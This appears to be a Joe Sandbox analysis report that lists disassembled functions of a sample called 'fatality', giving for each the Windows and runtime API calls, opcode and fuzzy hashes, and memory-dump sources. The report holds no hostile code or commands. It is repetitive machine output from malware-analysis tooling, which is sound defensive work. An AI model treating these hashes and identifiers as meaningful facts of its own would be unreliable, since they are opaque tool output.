API ID: 73516CreateGlobalStream
String ID: PNG
API String ID: 2601201109-364855578
Opcode ID: 2cca5b2415776ebb9996ac68f73d6ac76f7873cf1173f4e56ab03477d25ba040
Instruction ID: e349556f631e5cfc28635ffa36f6535604bc8e12a63b23dc40eb0f4ca36182c9
Opcode Fuzzy Hash: 2cca5b2415776ebb9996ac68f73d6ac76f7873cf1173f4e56ab03477d25ba040
Instruction Fuzzy Hash: 3631D5B5601306BFC710AF36DC48D6BBFB9EF84760B058529F909A2260EB31DD48CA71

Function 00DE1E50 Relevance: 3.1, APIs: 2, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00DE1E55

Part of subcall function 00DE3BBA: __EH_prolog.LIBCMT ref: 00DE3BBF

_wcslen.LIBCMT ref: 00DE1EFD

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: ca25f51bafa249afa3fbe406f8ecb996e07bfc731524117420407d9664f4d1eb
Instruction ID: 19abde93453b15353299eaeb65fece9b3a85bf6cf5bb916e99b7c9ab5e21e96a
Opcode Fuzzy Hash: ca25f51bafa249afa3fbe406f8ecb996e07bfc731524117420407d9664f4d1eb
Instruction Fuzzy Hash: 65313875A04249AACF11EF99C945AEEBBF5EF48300F144069F845A7251C7325E51CB70

Function 00E0BA89 Relevance: 3.1, APIs: 2, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 00E0BA9F
_free.LIBCMT ref: 00E0BAD5

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 15899e91420c2e4bc09e7b2cda8db798f72214f1484f4a363c8b689544ee53c7
Instruction ID: 77a1c5e5d00cf63fd8739e87bb954775ea339c0f658e4e0b42a63edc139e8569
Opcode Fuzzy Hash: 15899e91420c2e4bc09e7b2cda8db798f72214f1484f4a363c8b689544ee53c7
Instruction Fuzzy Hash: 09118F31A0420AAFD710DF59D4417A8B7F4EB00328F25509AE904BB2E2EB764DC4DB40

Function 00E09893 Relevance: 3.0, APIs: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 00E098A3
_free.LIBCMT ref: 00E098CA

Part of subcall function 00E08DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00E08E7A,?,00000004,00000000,?,00E0C007,?,00000004,00000000,?,?,?,00E08716), ref: 00E08DE2

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: _free$FreeHeap
String ID:
API String ID: 2929853658-0
Opcode ID: 8278ed63146d4a8f0befc69b002cd87142b5f085243fb3511a2067b06bc75f50
Instruction ID: cd806c768a8bef747f3af89319b47608415b2a6f72a562aca11cb3448b1ae4aa
Opcode Fuzzy Hash: 8278ed63146d4a8f0befc69b002cd87142b5f085243fb3511a2067b06bc75f50
Instruction Fuzzy Hash: 38F0E5362553026ED20A2F71BD419DF22A9DBD2765720B13AFA01713D3FE6149C51275

Function 00DEA243 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000001,00000001,?,00DEA23A,?,00DEA2E9,00000001,00000001,?,?,00DEA175,?,00000001,00000000,?,?), ref: 00DEA254

Part of subcall function 00DEBB03: _wcslen.LIBCMT ref: 00DEBB27

GetFileAttributesW.KERNELBASE(?,00000001,?,00000800,?,00DEA23A,?,00DEA2E9,00000001,00000001,?,?,00DEA175,?,00000001,00000000), ref: 00DEA280

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: f1257385efe40757e661e36a6ee22fccb9f0d8b1d06ea5a35bdaee920eb9416e
Instruction ID: 4bf7e76a3ffdf0ff20bbb0137fdcc8dd8e500b6f5e30e43522a045cff9ba1a50
Opcode Fuzzy Hash: f1257385efe40757e661e36a6ee22fccb9f0d8b1d06ea5a35bdaee920eb9416e
Instruction Fuzzy Hash: 0DE06D715001689ACB10AB69CC05BD97798AB083E1F048361BE44F7190D670AE448AB0

Function 00DFDEC2 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00DFDEEC
SetDlgItemTextW.USER32(00000065,?), ref: 00DFDF03

Part of subcall function 00DFB568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00DFB579
Part of subcall function 00DFB568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00DFB58A
Part of subcall function 00DFB568: IsDialogMessageW.USER32(00010486,?), ref: 00DFB59E
Part of subcall function 00DFB568: TranslateMessage.USER32(?), ref: 00DFB5AC
Part of subcall function 00DFB568: DispatchMessageW.USER32(?), ref: 00DFB5B6

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekTextTranslate_swprintf
String ID:
API String ID: 3251159408-0
Opcode ID: 08646eef9cf3133f18da6a05834a701fcb18c46ad78535ea112eb0f129de9e4e
Instruction ID: feef99924e18fb11679e2efbd24cde1986117ca649fa64df2c571a6f362cb064
Opcode Fuzzy Hash: 08646eef9cf3133f18da6a05834a701fcb18c46ad78535ea112eb0f129de9e4e
Instruction Fuzzy Hash: 38E092B64003882ADF12BB62DC06FAE3B6C9B15785F444852B304EA1B2DA78EA158671

Function 00E02B8C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00E02BAA
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00E02BB5

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptd
String ID:
API String ID: 1660781231-0
Opcode ID: 4cac174450c76d34e66739ae74963e12a402df072613be370c32505fa2963c41
Instruction ID: 26a98f023f542f0c60cbc2f294f790abe8de1187717dd41505d2d73a46df0887
Opcode Fuzzy Hash: 4cac174450c76d34e66739ae74963e12a402df072613be370c32505fa2963c41
Instruction Fuzzy Hash: D7D0223425430018EC142EB43C0F59833C9AE81BB8BE0778FF720F58C1EEA280C0B821

Function 00DE12F1 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00DE1306
ShowWindow.USER32(00000000), ref: 00DE130D

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: a434afd731d85c66a4a402eb9c81dc5a847a5d3ecdaac515288d197401f8f0c2
Instruction ID: dbce32e96efcf7def44fe86daa3350b5c861c9d8f27a254a33022b5e5f9a4d8e
Opcode Fuzzy Hash: a434afd731d85c66a4a402eb9c81dc5a847a5d3ecdaac515288d197401f8f0c2
Instruction Fuzzy Hash: BDC0123A05C240BFCB010BB5DC09C2BBBA8ABE6312F24C908B0A5D0261C238C114DB11

Function 00DE1A04 Relevance: 1.8, APIs: 1, Instructions: 312COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00DE1A09

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 4ca44d36d4aa54e7b10a14b5603d7ceb9c0951fa46266a1c0c061eaa3340206e
Instruction ID: bba50b61f3bf4703b80ffe3389d7b932dccfdcb34e76bbf5c7dd167e89d505b9
Opcode Fuzzy Hash: 4ca44d36d4aa54e7b10a14b5603d7ceb9c0951fa46266a1c0c061eaa3340206e
Instruction Fuzzy Hash: E0C1A338B002949FEF15EF6AC884BAD7BA5EF16310F1841B9EC45DB296DB309944CB71

Function 00DE3BBA Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00DE3BBF

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 0bd758690314707bd7e46a7b8268dc12c445505a6892ee28af53881a1cb7c1ec
Instruction ID: fedeba27c581d1e2c6305fc8f0aaba5e0e6254a4a74e5dd21d69d569cec9731b
Opcode Fuzzy Hash: 0bd758690314707bd7e46a7b8268dc12c445505a6892ee28af53881a1cb7c1ec
Instruction Fuzzy Hash: DF71C171500B849ECB25EB71C8559F7B7E9EF14301F44496EF2AB87241DA32AA84CF31

Function 00DE9A74 Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,?,?,?,-00000870,00000000,00000800,?,00DE9A50,?,?,00000000,?,?,00DE8CBC,?), ref: 00DE9BAB

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 025c9a61c2484eb0af231694b7a107f3b289b8cfd1d0fd35e1294cdb1b698b68
Instruction ID: 5ebccf4588636935698c8451942ba463a5c3ad9f9502bddb316e74bb9c198455
Opcode Fuzzy Hash: 025c9a61c2484eb0af231694b7a107f3b289b8cfd1d0fd35e1294cdb1b698b68
Instruction Fuzzy Hash: 9141B0705063818FDB24EF2AE5E446AF7E6FFD4320F198A2DE89583260D770ED448A71

Function 00DE8284 Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00DE8289

Part of subcall function 00DE13DC: __EH_prolog.LIBCMT ref: 00DE13E1

Part of subcall function 00DEA56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00DEA598

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: H_prolog$CloseFind
String ID:
API String ID: 2506663941-0
Opcode ID: 0546bea390d46c8069707a142cc20ec2fc9b01b0392e8f8eccfab0331fff27ba
Instruction ID: 741cd96568f3422243b9f3296552ff0d36a2377d58c7b24b07051fb5b12bbdd1
Opcode Fuzzy Hash: 0546bea390d46c8069707a142cc20ec2fc9b01b0392e8f8eccfab0331fff27ba
Instruction Fuzzy Hash: 4941B8719446989ADB20FBA1CC55AE9B7B8EF00304F4444EAE18EA7093EB715FC5DB70

Function 00DE98E0 Relevance: 1.6, APIs: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,08000000,00000000,?), ref: 00DE995F

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 266351315fb0a896ae09962a87244341570546ce2bb2d9fc005617c84a8dfacb
Instruction ID: b5faa430df199448088d46f456de34db9af0619b2350241bf5eee5f77655acb0
Opcode Fuzzy Hash: 266351315fb0a896ae09962a87244341570546ce2bb2d9fc005617c84a8dfacb
Instruction Fuzzy Hash: B13113305453856FE730AF26CC46BEAFBD4BB04320F141B19F9A1961D2D3A4A988CFB1

Function 00DE9F7A Relevance: 1.6, APIs: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,?,00000001,?,?,?,?,00DED343,00000001,?,?,?), ref: 00DEA011

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 81386bf007db3ec8e31e0d96200f7cf78a72da9a6e59b311357426e638befdc2
Instruction ID: 911c6bdd330fb2860369fceabd6dc5bc0384190d86964decabc47f8f733f6f61
Opcode Fuzzy Hash: 81386bf007db3ec8e31e0d96200f7cf78a72da9a6e59b311357426e638befdc2
Instruction Fuzzy Hash: 5D31E231204386AFDB14EF26D818BAEB7A5FF84715F04491DF981A7290C775AD48CBB2

Function 00DE13DC Relevance: 1.6, APIs: 1, Instructions: 98COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00DE13E1

Part of subcall function 00DE5E37: __EH_prolog.LIBCMT ref: 00DE5E3C

Part of subcall function 00DECE40: __EH_prolog.LIBCMT ref: 00DECE45

Part of subcall function 00DEB505: __EH_prolog.LIBCMT ref: 00DEB50A

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
